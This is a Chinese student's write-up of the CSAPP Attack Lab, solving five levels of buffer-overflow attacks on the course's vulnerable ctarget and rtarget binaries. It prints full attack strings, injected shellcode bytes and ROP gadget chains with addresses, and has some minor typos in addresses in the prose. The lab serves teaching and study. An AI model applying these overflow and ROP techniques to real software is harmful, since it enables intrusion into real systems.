CSAPP实验——AttackLab
Attack Lab 缓冲区溢出攻击实验
这是CSAPP课程的第三个Lab。
实验准备
实验介绍
- 简介
-
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种
Code injection
代码注入和Reeturn-oriented programming
(ROP)面向返回编程。 - 目的
-
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。
实验说明
- 文件说明
-
ctarget
:一个容易遭受code injection攻击的可执行程序。
rtarget
:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt
:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c
:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw
:一个生成攻击字符串的工具。
整个Lab的大致流程就是,输入一个字符串,然后利用stack
的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()
函数去调用getbuf()
函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch
函数。
- X68-64寄存器和堆栈
-
X86-64有16个64位寄存器
1、%rax
作为函数返回值使用。
2、%rsp
栈指针寄存器,指向栈顶。
3、%rdi
,%rsi
,%rdx
,%rcx
,%r8
,%r9
用作函数参数,依次对应第1参数,第2参数……
4、%rbx
,%rbp
,%r12
,%r13
,%14
,%15
用作数据存储,遵循被调用者使用规则。
5、%r10
,%r11
用作数据存储,遵循调用者使用规则。 - 辅助工具说明
-
hex2raw
:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt
详细实验介绍和实验步骤可以查看WriteUp,强烈推荐实验前先看一下。
PART 1 : Code Injection Attacks
代码注入攻击:通过使缓冲区溢出,注入攻击代码。
ctarget
文件将执行test
函数,实验·任务是在执行完getbuf
函数后,程序不继续执行test
函数,而是执行touch
函数。
在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt
反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。
void test()
{int val;val = getbuf();printf("NO explit. Getbuf returned 0x%x\n", val);
}
Level 1
使getbuf
返回时,执行touch1
而不是返回test
。
void touch1()
{vlevel = 1; /* Part of validation protocol */printf("Touch1!: You called touch1()\n"); validate(1);exit(0);
}
这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf
的返回值,即使getbuf
结尾处的ret指令
将控制转移到touch1
。
getbuf
汇编代码
00000000004017a8 <getbuf>:4017a8: 48 83 ec 28 sub $0x28,%rsp4017ac: 48 89 e7 mov %rsp,%rdi4017af: e8 8c 02 00 00 callq 401a40 <Gets>4017b4: b8 01 00 00 00 mov $0x1,%eax4017b9: 48 83 c4 28 add $0x28,%rsp4017bd: c3 retq 4017be: 90 nop4017bf: 90
- 从第一句指令
sub $0x28,%rsp
可以得出getbuf
创建的缓冲区大小为0x28
字节。
0000000004017c0 <touch1>:4017c0: 48 83 ec 08 sub $0x8,%rsp4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>4017d8: bf 01 00 00 00 mov $0x1,%edi4017dd: e8 ab 04 00 00 callq 401c8d <validate>4017e2: bf 00 00 00 00 mov $0x0,%edi4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
函数的起始地址为0x4017c0
。getbuf
在栈中分配了40个字节的内存来存储输入数据。在执行ret
指令后,从%rsp+40
处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1
的起始地址,即将输入的第40-47个字符写为touch1
函数的起始地址。- 攻击字符串
level1.txt
:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上字符是填充满整个缓冲区(40字节)从而溢出
c0 17 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址
这里注意小端法保存
- 调用
hex2raw
生成攻击字符串,并攻击ctarget
。
Level 2
void touch2(unsigned val)
{vlevel = 2; /* Part of validation protocol */if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);}
使getbuf
返回时,执行touch2
而不是返回test
,并且让touch2
以为其接受的输入参数是cookie
,即0x59b997fa
。
- 汇编代码
00000000004017ec <touch2>:4017ec: 48 83 ec 08 sub $0x8,%rsp4017f0: 89 fa mov %edi,%edx4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>401802: 75 20 jne 401824 <touch2+0x38>401804: be e8 30 40 00 mov $0x4030e8,%esi401809: bf 01 00 00 00 mov $0x1,%edi40180e: b8 00 00 00 00 mov $0x0,%eax401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>401818: bf 02 00 00 00 mov $0x2,%edi40181d: e8 6b 04 00 00 callq 401c8d <validate>401822: eb 1e jmp 401842 <touch2+0x56>401824: be 10 31 40 00 mov $0x403110,%esi401829: bf 01 00 00 00 mov $0x1,%edi40182e: b8 00 00 00 00 mov $0x0,%eax401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>401838: bf 02 00 00 00 mov $0x2,%edi40183d: e8 0d 05 00 00 callq 401d4f <fail>401842: bf 00 00 00 00 mov $0x0,%edi401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
touch2
函数的起始地址为0x4017ec
,根据x86-64寄存器规则和汇编代码可知touch2
函数的输入参数存储在寄存器%rdi
。所以我们需要在进入touch2
之前先跳转到某个地方,执行注入代码,将修改寄存器%rdi
的值为cookie
,然后再跳转。所以步骤为:
1、将cookie
放入寄存器%rdi
中,然后将touch2
函数的起始地址压入栈中,这样通过ret
指令返回时就可以跳转到touch2
。
2、然后将利用缓冲区溢出的漏洞将getbuf
函数返回到上述代码的起始位置,即从缓冲区的起始位置执行攻击代码。
流程为:getbuf -> ret = 缓冲区起始地址 -> 注入代码 -> ret -> touch2起始地址
- 注入代码指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec //ret指令后出栈跳转到touch2
ret
- 利用编译和反汇编获得注入代码的机器代码:
gcc -c attack1.s
objdump -d attack1.o > attack1.txt
0000000000000000 <.text>:0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi7: 68 ec 17 40 00 pushq $0x4017ecc: c3 retq
- 因此要注入的字符串为
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
。我们需要知道这段代码在程序中为位置,内存中存储这段代码的位置是由getbuf
开辟的缓冲区,而getbuf
利用Gets
开辟缓冲区,因此我们需要利用gdb
查看缓冲区的起始位置。
缓冲区的起始地址为0x5561dc78
。 - 攻击字符串
level2.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
- 使用
hex2raw
生成攻击字符串,并攻击ctarget
。
Level 3
int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}void touch3(char *sval)
{vlevel = 3;if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}
- 和Level 2 一样
touch3
也需要传入cookie
但是要求以字符串的形式传入。和Level 2的区别是touch3
的参数是cookie
的字符串地址, 寄存器%rdi
存储cookie
字符串的地址。 - 汇编代码
00000000004018fa <touch3>:4018fa: 53 push %rbx4018fb: 48 89 fb mov %rdi,%rbx4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>401911: e8 36 ff ff ff callq 40184c <hexmatch>401916: 85 c0 test %eax,%eax401918: 74 23 je 40193d <touch3+0x43>40191a: 48 89 da mov %rbx,%rdx40191d: be 38 31 40 00 mov $0x403138,%esi401922: bf 01 00 00 00 mov $0x1,%edi401927: b8 00 00 00 00 mov $0x0,%eax40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>401931: bf 03 00 00 00 mov $0x3,%edi401936: e8 52 03 00 00 callq 401c8d <validate>40193b: eb 21 jmp 40195e <touch3+0x64>40193d: 48 89 da mov %rbx,%rdx401940: be 60 31 40 00 mov $0x403160,%esi401945: bf 01 00 00 00 mov $0x1,%edi40194a: b8 00 00 00 00 mov $0x0,%eax40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>401954: bf 03 00 00 00 mov $0x3,%edi401959: e8 f1 03 00 00 callq 401d4f <fail>40195e: bf 00 00 00 00 mov $0x0,%edi401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
touch3
的起始地址为0x4018fa
。因为在函数中调用了hexmatch
函数,并且该函数申请了110
字节的内存空间,如果cookie
存储在缓冲区内会被覆盖掉,因此通过gdb
查看调用hexmatch
后栈顶地址为0x5561dca0
,将字符串存储在栈之外即0x556dca8
处。cookie
值0x55997fa
的ACSII码为35 39 62 39 39 37 66 61 00
,末尾的00
是字符串结束标识符\n
。注入代码为:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi #存入cookie值ASCII码的地址7: 68 fa 18 40 00 pushq $0x4018fa #跳转touch3c: c3 retq
- 攻击字符串
level3.txt
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII码
- 使用
hex2raw
生成攻击字符串,并攻击ctarget
。
PART 2:Return-Oriented Programming(ROP)
面向返回编程:
为了防止代码注入攻击,程序通常使用两种技术来阻止此类攻击:
- 栈随机化:每次程序运行栈的位置都是随机的,因此无法确定注入代码应放的位置;
- 限制可执行代码区域:将保存堆栈的内存区域标记为不可执行,因此即使将程序计数器设置为注入代码的开头,程序也会因为分段错误而失败。
因此通过执行现有代码而不是注入新代码来完成攻击,常见形式为ROP。
ROP的策略是识别现有程序的字节序列,程序会在栈上放入很多gadget地址(小的代码片段,并且会ret
),而每次ret都进入一个gadget
,这样可以形成一个程序链,通过将程序自身的指令来完成我们的目的。
根据实验参考文件,所需的所有gadger
都可以在函数start_farm
和mid_farm
划分的rtarget
的代码区域中找到。
- 代码
0000000000401994 <start_farm>:401994: b8 01 00 00 00 mov $0x1,%eax401999: c3 retq
000000000040199a <getval_142>:40199a: b8 fb 78 90 90 mov $0x909078fb,%eax40199f: c3 retq
00000000004019a0 <addval_273>:4019a0: 8d 87 `48 89 c7 c3` lea -0x3c3876b8(%rdi),%eax # movq %rax,%rdi4019a6: c3 retq
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 `58 90` lea -0x6fa78caf(%rdi),%eax # popq %rax4019ad: `c3` retq
00000000004019ae <setval_237>:4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)4019b4: c3 retq
00000000004019b5 <setval_424>:4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)4019bb: c3 retq
00000000004019bc <setval_470>:4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)4019c2: c3 retq
00000000004019c3 <setval_426>:4019c3: c7 07 `48 89 c7 90` movl $0x90c78948,(%rdi)4019c9: `c3` retq
00000000004019ca <getval_280>:4019ca: b8 29 `58 90 c3` mov $0xc3905829,%eax4019cf: c3 retq
00000000004019d0 <mid_farm>:4019d0: b8 01 00 00 00 mov $0x1,%eax4019d5: c3 retq
00000000004019d6 <add_xy>:4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax4019da: c3 retq
00000000004019db <getval_481>:4019db: b8 5c `89 c2 90` mov $0x90c2895c,%eax #movl %eax,%edx4019e0: `c3` retq
00000000004019e1 <setval_296>:4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)4019e7: c3 retq
00000000004019e8 <addval_113>:4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax4019ee: c3 retq
00000000004019ef <addval_490>:4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax4019f5: c3 retq
00000000004019f6 <getval_226>:4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax4019fb: c3 retq
00000000004019fc <setval_384>:4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)401a02: c3 retq
0000000000401a03 <addval_190>:401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax401a09: c3 retq
0000000000401a0a <setval_276>:401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)401a10: c3 retq
0000000000401a11 <addval_436>:401a11: 8d 87 `89 ce 90 90` lea -0x6f6f3177(%rdi),%eax #movl %ecx,%esi401a17: `c3` retq
0000000000401a18 <getval_345>:401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax401a1d: c3 retq
0000000000401a1e <addval_479>:401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax401a24: c3 retq
0000000000401a25 <addval_187>:401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax401a2b: c3 retq
0000000000401a2c <setval_248>:401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)401a32: c3 retq
0000000000401a33 <getval_159>:401a33: b8 `89 d1 38 c9` mov $0xc938d189,%eax #movl %edx,%ecx401a38: `c3` retq
0000000000401a39 <addval_110>:401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax401a3f: c3 retq
0000000000401a40 <addval_487>:401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax401a46: c3 retq
0000000000401a47 <addval_201>:401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax401a4d: c3 retq
0000000000401a4e <getval_272>:401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax401a53: c3 retq
0000000000401a54 <getval_155>:401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax401a59: c3 retq
0000000000401a5a <setval_299>:401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)401a60: c3 retq
0000000000401a61 <addval_404>:401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax401a67: c3 retq
0000000000401a68 <getval_311>:401a68: b8 89 d1 08 db mov $0xdb08d189,%eax401a6d: c3 retq
0000000000401a6e <setval_167>:401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)401a74: c3 retq
0000000000401a75 <setval_328>:401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)401a7b: c3 retq
0000000000401a7c <setval_450>:401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)401a82: c3 retq
0000000000401a83 <addval_358>:401a83: 8d 87 08 `89 e0 90` lea -0x6f1f76f8(%rdi),%eax401a89: `c3` retq
0000000000401a8a <addval_124>:401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax401a90: c3 retq
0000000000401a91 <getval_169>:401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax401a96: c3 retq
0000000000401a97 <setval_181>:401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)401a9d: c3 retq
0000000000401a9e <addval_184>:401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax401aa4: c3 retq
0000000000401aa5 <getval_472>:401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax401aaa: c3 retq
0000000000401aab <setval_350>:401aab: c7 07 `48 89 e0 90` movl $0x90e08948,(%rdi) #movq %rsp,%rax401ab1: `c3` retq
0000000000401ab2 <end_farm>:401ab2: b8 01 00 00 00 mov $0x1,%eax401ab7: c3 retq
gadget farm中的满足条件的gadget
gadget | 起始地址 | 指令编号 | 指令 |
---|---|---|---|
<addval_273> |
0x4019a2
|
48 89 c7 c3
|
movq %rax,%rdi
|
<addval_219> |
0x4019ca
|
58 (90) c3
|
popq %rax
|
<setval_350> |
0x401aad
|
48 89 e0 (90) c3
|
movq %rsp,%rax
|
<getval_481> |
0x4019dd
|
89 c2 (90) c3
|
movl %eax,%edx
|
<getval_159> |
0x401a34
|
89 d1 (38) (c9) c3
|
movl %edx,%ecx
|
<addval_436> |
0x401a13
|
89 ce (90) (90) c3
|
movl %ecx,%esi
|
<add_xy> |
0x4019d6
|
48 8d 04 37 c3
|
lea (%rdi,%rsi,1),%rax
|
括号内的指令编码为nop或2字节指令,并不影响。
Level 4
- 要求
-
1、只能使用前八个x86-64寄存器
%rax-%rdi
;
2、只能使用movq
,popq
,ret
,nop
的gadget
;
3、只能使用两个gadget
完成攻击;
和Level 2一样将cookie
存储进寄存器%rdi
内。所以需要在rterget
中找到相应gadget
,可以凑出相应的能够实现攻击的指令。先将寄存器%rax
的值设置为cookie
,然后复制给%rdi
。,可以拼凑出代码为:
popq %rax
ret # 0x4019ab
mov %rax,%rdi
ret # 0x4019a2
- 攻击字符串 level4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上代码填满整个缓冲区以致溢出
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat ret)的起始地址覆盖原先的返回地址
fa 97 b9 59 00 00 00 00 //cookie
a2 19 40 00 00 00 00 00
//gadget2(mov %rax,%rdi ret)的起始地址
ec 17 40 00 00 00 00 00 //touch2的起始地址
Level 5
- 要求
-
1、只能使用前八个x86-64寄存器
%rax-%rdi
;
2、可以使用movq
,movl
,popq
,ret
,nop
的gadget
;
3、可以使用在rtarget
代码中在start_farm
和end_farm
区域内的任意gadget
完成攻击;
4、至少需要8个gadget
实现此次攻击。
- level3一样,需要将寄存器
%rdi
的值设置为cookie
字符串的指针,即存储cookie
字符串的地址。 - 找到满足要求的
gadget
拼凑出攻击指令
movq %rsp,%rax //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
add $x ,%rax
movq %rax,%rdi //将cookie字符串地址传递给%rdi
- 因此我们需要找到一个能够实现加法或减法的运算的
gadget
,但是参考文件中并没有相关的字节编码,需要寻找其他方法:
00000000004019d6 <add_xy>:4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax4019da: c3 retq
- 通过观察可以通过上述代码来实现一个加法运算,
lea (%rdi,%rsi,1) %rax
的是%rax = %rdi + %rsi
传递的是地址,所以只要能够让%rdi
和%rsi
其中一个保存%rsp
,另一个保存从stack中pop
出来的偏移值,就可以表示cookie
字符串存放的地址。所以分成两部分代码:
1.把%rsp存放到%rdi中
2.把偏移值(需要确定指令数后才能确定)存放到%rsi中 - 在上述代码中并没有
movq %rax,%rsi
的gadget,只能通过过%eax
->%edx
->%ecx
->%esi
来实现。即将%eax
的值设置为cookie
字符串地址在栈中的偏移量并复制给%esi
需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax
到%esi
的值传递mov
指令都是4byte
的操作,如果对%rsp
的值采用这种方式,%rsp
的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。 - 最后的指令为:
mov %rsp,%rax
ret
mov %rax,%rdi #先将栈顶%rsp存入%rdi内
ret
popq %rax #将偏移量赋值给%eax
ret
movl %eax,%edx
ret
movl %edx,%ecx
ret
movl %ecx,%esi #%esi = 偏移量
ret
lea (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov %rax,%rdi #%rdi = cookie字符地址
ret
- 根据题目rsp是41-48字节处,所以在cookie字符串之前还有九条指令,共占有72个字节即
0x48
字节,所以cookie字符串的地址在栈中的偏移量为0x48
。 - 攻击字符串
level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代码填满整个缓冲区以致溢出
ad 1a 40 00 00 00 00 00 //movq %rsp,%rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
ab 19 40 00 00 00 00 00 //popq %rax
48 00 00 00 00 00 00 00 //偏移值
dd 19 40 00 00 00 00 00 //movl %eax,%edx
34 1a 40 00 00 00 00 00 //movl %edx,%ecx
13 1a 40 00 00 00 00 00 //movl %ecx,%esi
d6 19 40 00 00 00 00 00 //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00 //movq %rax,%rdi
fa 18 40 00 00 00 00 00 //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字符串
实验总结
这一部分实验大概用了两个晚上的时间,这个实验的说明文档讲的很清晰,相对上一个实验还是容易些,通过这个实验对于堆栈还有参数传递有了更深的认识,对于机器代码如何控制程序运行也更加了解,以后有机会也会多了解一下这方面的知识。
CSAPP实验——AttackLab相关推荐
- CSAPP实验二——bomb lab实验
CSAPP实验二-- bomb lab实验 实验前准备 第一部分(phase_1) 第二部分(phase_2) 第三部分(phase_3) 第四部分(phase_4) 第五部分(phase_5) 第六 ...
- CSAPP实验记录(二)Bomb Lab
CSAPP实验记录(二)Bomb Lab 二进制炸弹是由一系列阶段组成的程序.每个阶段都要求你在 stdin 上键入一个特定的字符串.如果你输入了正确的字符串,那么这个阶段就被拆除,炸弹进入下一个阶段 ...
- csapp实验摘选 I Data Lab ——小小菜下士的第一篇博客
csapp实验摘选 I Data Lab --小小菜下士的第一篇博客 注:这是我的第一篇博客,试图在通往程序猿的路上踏出坚实的一步. --小小菜下士 实验来自: [读厚 CSAPP]I Data La ...
- csapp实验记录 - Cachelab partA
Cachelab partA 这是该实验的 partA 部分,主要是用 c 语言模拟 cpu 对cache的存取过程,以及其缓存命中,不命中和不命中时的替换的情况 实验准备 实验的环境在 Linux ...
- 【计算机系统基础bomb lab】CSAPP实验:Bomb Lab
[计算机系统基础bomb lab]CSAPP实验:Bomb Lab CSAPP 实验:Bomb Lab 实验内容简述 实验环境 实验过程:phase 1 phase 1 调试过程 实验过程:phase ...
- CSAPP实验记录(一):环境配置datalab
CSAPP实验记录(一):环境配置&datalab 1.环境配置 下载Ubuntu虚拟机.我之前用的是Ubuntu18.04,非常坑,强烈建议换成Ubuntu20.04 windows和Ubu ...
- CSAPP实验——DataLab
CSAPP - DataLab CSAPP实验记录 Data Lab 实验的内容是关于计算机信息的表示,主要包括位操作.整型及浮点型相关知识. 题目列表 名称 任务 难度 bitXor(x, y) ...
- CSAPP——Lab3——AttackLab
本篇文章是CSAPP配套实验的第三个,基于缓冲区溢出的攻击实验,和前面的bomb lab同属一章,它们都属于机器级编程这一章的内容,前面的bomb lab是为了阅读和理解汇编语言代码,而这个实验则是为 ...
- CSAPP实验四:性能优化实验(Perflab)
本系列文章为中国科学技术大学计算机专业学科基础课<计算机系统>布置的实验,上课所用教材和内容为黑书CSAPP,当时花费很大精力和弯路,现来总结下各个实验,本文章为第四个实验--性能优化实验 ...
最新文章
- sqlite 修改表名,合并数据库(文件)
- Linq Group By 注意点
- 通过SiteMapDataSource动态获取SiteMap文件进行权限设置
- 程序员如何勇敢说“不”!
- 生日特惠餐厅 北京_黑色星期五特惠终极指南
- 发展下一代互联网的动力
- 01. View C++ as a federation of languages
- 【Axure10基础教程】第六章 动态面板
- linux运行虚幻引擎4,虚幻引擎4.25开发环境如何设置
- 代码对比/归并/两个代码对比,对比代码
- Win10自带录屏如何实现录制系统声音
- 配置 hosts 浏览器访问仍然不生效
- RAC的并发操作与分布式锁DLM
- android按钮美化(入门)
- 关于Impl idiom
- office 2010很强大很好用
- mate40pro的曲面屏设计华而不实
- OpenGL3.3透视矩阵原理计算
- Maven下载与配置详细教程
- 中科大凸优化P1P2 Chapter1 Introduction